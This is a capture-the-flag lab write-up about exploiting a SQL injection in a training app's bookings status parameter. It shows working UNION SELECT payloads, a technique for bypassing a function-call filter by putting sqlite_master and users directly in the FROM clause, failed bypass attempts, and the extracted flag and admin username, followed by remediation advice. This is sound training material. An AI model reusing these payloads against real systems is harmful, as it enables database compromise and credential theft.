BugForge — 2026.03.07

GalaxyDash: SQLi Function Filter Bypass

BugForge SQL Injection medium

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

  1. SQL Injection in /api/bookings?status= query parameter (CWE-89)
  2. Ineffective function-call filter bypassed with direct FROM clause (CWE-943)
  3. Plaintext credential storage in users table (CWE-312)

Business Impact: Full database compromise β€” attacker can extract all user credentials, booking data, and sensitive business information through a trivially exploitable injection point.


Objective

Exploit a SQL injection vulnerability in the GalaxyDash cargo booking application to extract sensitive data from the database.

Initial Access

# Target Application
URL: https://lab-1772915595448-irt6s3.labs-app.bugforge.io

# Credentials
Registered account: haxor
JWT Bearer token for API authentication

Key Findings

Critical & High-Risk Vulnerabilities

  1. CWE-89 - SQL Injection via ?status= query parameter
  2. CWE-943 - Improper Neutralization of Special Elements in Data Query Logic (filter bypass)
  3. CWE-312 - Cleartext Storage of Sensitive Information

CVSS v3.1 Score for SQL Injection: 9.8 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Unchanged
Confidentiality High
Integrity High
Availability High

Enumeration Summary

Application Analysis

Target Endpoints Discovered:

  • GET /api/bookings?status= β€” Filterable booking list (injection point)
  • GET /api/bookings/:id β€” Individual booking with notes
  • POST /api/bookings β€” Create new cargo bookings
  • Auth: JWT Bearer (HS256) with user ID, username, organizationId

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Reconnaissance     │────▢│  Injection Discovery │────▢│  Filter Analysis    β”‚
β”‚  Map API endpoints  β”‚     β”‚  ?status=pending'    β”‚     β”‚  Functions blocked  β”‚
β”‚  /api/bookings      β”‚     β”‚  Error confirms SQLi β”‚     β”‚  Subselects blocked β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                                   β”‚
                                                                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Flag Captured      │◀────│  Data Extraction     │◀────│  Bypass Discovery   β”‚
β”‚  Admin creds + flag β”‚     β”‚  UNION SELECT w/     β”‚     β”‚  Direct FROM clause β”‚
β”‚  from users table   β”‚     β”‚  LIMIT/OFFSET enum   β”‚     β”‚  No subselect neededβ”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Path Summary:

  1. Discovered ?status= parameter accepts unsanitized input
  2. Confirmed injection with single quote error and boolean-based test
  3. Determined 26-column UNION requirement
  4. Identified function/subselect filter blocking standard enumeration
  5. Bypassed filter using direct FROM clause on sqlite_master
  6. Enumerated tables and extracted admin credentials with flag

Exploitation Path

Step 1: Identify Injectable Parameter

The /api/bookings?status=pending endpoint filters bookings by status. Lab hint: β€œSome customers complained about the order status.”

Testing with a single quote:

GET /api/bookings?status=pending' HTTP/1.1
Host: lab-1772915595448-irt6s3.labs-app.bugforge.io
Authorization: Bearer <jwt>

Result: Database error β€” confirms string injection in WHERE clause.

Boolean confirmation:

GET /api/bookings?status=pending' OR 1=1-- HTTP/1.1

Result: Returned bookings or empty array.

Step 2: Determine Column Count

Used ORDER BY to binary search for column count:

' order by 26--   -- Works
' order by 27--   -- Error

Result: 26 columns confirmed.

Step 3: Map Output Positions

GET /api/bookings?status=pending' union select 1,2,3,...,26-- HTTP/1.1

Result: All 26 positions visible. Key mappings: status=18, created_at=19, created_by_username=26.

Important: NULL values caused database errors β€” the ORM layer enforces column types. Must use integer placeholders.

Step 4: Discover and Analyze the Filter

Standard SQLite enumeration techniques all failed:

ALL BLOCKED:
- sqlite_version()          -- function call
- (SELECT name FROM ...)    -- subselect
- group_concat(name)        -- aggregate function
- abs(1)                    -- even simple functions
- SqLiTe_VeRsIoN()         -- case variation
- sqlite_version/**/()      -- comment bypass

Systematic testing revealed:

  • String literals pass: 'test', 'select', 'from'
  • Numbers in parentheses pass: (1)
  • Any function call blocked: pattern is word() β€” a word followed by parentheses
  • Any subselect blocked: (SELECT ...) matches the same pattern

Step 5: Bypass with Direct FROM Clause

Instead of using subselects or aggregate functions, make sqlite_master the FROM table for the entire UNION query:

GET /api/bookings?status=pending' union select 1,2,...,17,name,19,...,26 from sqlite_master limit 1-- HTTP/1.1

Result: First table name returned. Iterated with LIMIT 1 OFFSET N to enumerate all tables. Discovered β€œusers” table.

Step 6: Extract Credentials and Flag

GET /api/bookings?status=pending' union select 1,2,...,17,username,password,20,...,26 from users limit 1 offset 0-- HTTP/1.1

Response:

{
    "status": "bchow_admin",
    "created_at": "bug{8aLnNWaCxrXUKqyJWXHrAIIYFqyTcbf4}"
}

Flag / Objective Achieved

βœ… Flag: bug{8aLnNWaCxrXUKqyJWXHrAIIYFqyTcbf4} βœ… Admin credentials extracted: bchow_admin


Key Learnings

  • Function filters are not WAFs β€” this app blocked word() patterns but allowed all SQL keywords as string literals and direct column references
  • Direct FROM beats subselects β€” when subselects are blocked, use the target table as the UNION’s own FROM clause with LIMIT/OFFSET for iteration
  • Type-sensitive UNION β€” SQLite is loosely typed but the Express ORM layer enforced types; NULL failed where integers worked
  • Hint interpretation matters β€” β€œcustomers complained about the order status” pointed directly to the ?status= query parameter
  • group_concat() isn’t the only way β€” when aggregate functions are blocked, LIMIT 1 OFFSET N iteration achieves the same enumeration
  • Systematic filter analysis β€” testing string literals, numbers, parentheses, and functions separately revealed the exact filter pattern quickly

Tools Used

  • Caido β€” Request interception and Repeater for testing injection payloads
  • SQLMap β€” Ran in parallel (did not find the bypass β€” manual testing required)
  • Firefox + PwnFox β€” Initial app reconnaissance and request capture

Remediation

1. SQL Injection (CVSS: 9.8 - Critical)

Issue: User-supplied status query parameter concatenated directly into SQL query string. CWE Reference: CWE-89 - Improper Neutralization of Special Elements used in an SQL Command Fix:

// BEFORE (Vulnerable)
const query = `SELECT * FROM bookings WHERE status = '${req.query.status}'`;

// AFTER (Secure)
const query = `SELECT * FROM bookings WHERE status = ?`;
db.all(query, [req.query.status]);

2. Ineffective Input Filter (CVSS: 5.3 - Medium)

Issue: Function call pattern filter is trivially bypassed by restructuring queries to avoid subselects. CWE Reference: CWE-943 - Improper Neutralization of Special Elements in Data Query Logic Fix: Use parameterized queries instead of input filtering. Blocklist-based filters are always bypassable.

3. Plaintext Credential Storage (CVSS: 7.5 - High)

Issue: User passwords stored in plaintext in the users table. CWE Reference: CWE-312 - Cleartext Storage of Sensitive Information Fix:

// BEFORE (Vulnerable)
await db.run('INSERT INTO users (password) VALUES (?)', [password]);

// AFTER (Secure)
const hash = await bcrypt.hash(password, 12);
await db.run('INSERT INTO users (password) VALUES (?)', [hash]);

Failed Attempts

Approach 1: UNION with NULL Values

' UNION SELECT null,null,...,null FROM sqlite_master--

Result: ❌ Failed - ORM/app layer enforced column types, NULLs not accepted

Approach 2: Standard Function Calls

sqlite_version()
group_concat(name)
abs(1)

Result: ❌ Failed - Server-side filter blocks function call syntax (word + parentheses)

Approach 3: Subselects

(SELECT name FROM sqlite_master LIMIT 1)

Result: ❌ Failed - Same filter blocks nested SELECT statements in parentheses

Approach 4: Case Variation Bypass

SqLiTe_VeRsIoN()
SeLeCt name FrOm sqlite_master

Result: ❌ Failed - Filter is case-insensitive

Approach 5: Comment/Whitespace Bypass

sqlite_version/**/()
abs (1)

Result: ❌ Failed - Filter not whitespace-dependent

Approach 6: Double-Quoted Function Names

"sqlite_version"()

Result: ❌ Failed - SQLite treated double-quoted name as string literal, returned β€œsqlite_version” as text


OWASP Top 10 Coverage

  • A03:2021 - Injection (Primary: unsanitized query parameter in SQL query)
  • A04:2021 - Insecure Design (Reliance on function-name filter instead of parameterized queries)
  • A02:2021 - Cryptographic Failures (Plaintext password storage)

References

SQLite Injection Resources:


Tags: #sqli #sqlite #filter-bypass #union-select #bugforge #ctf

#SQLi #function-filter #WAF-bypass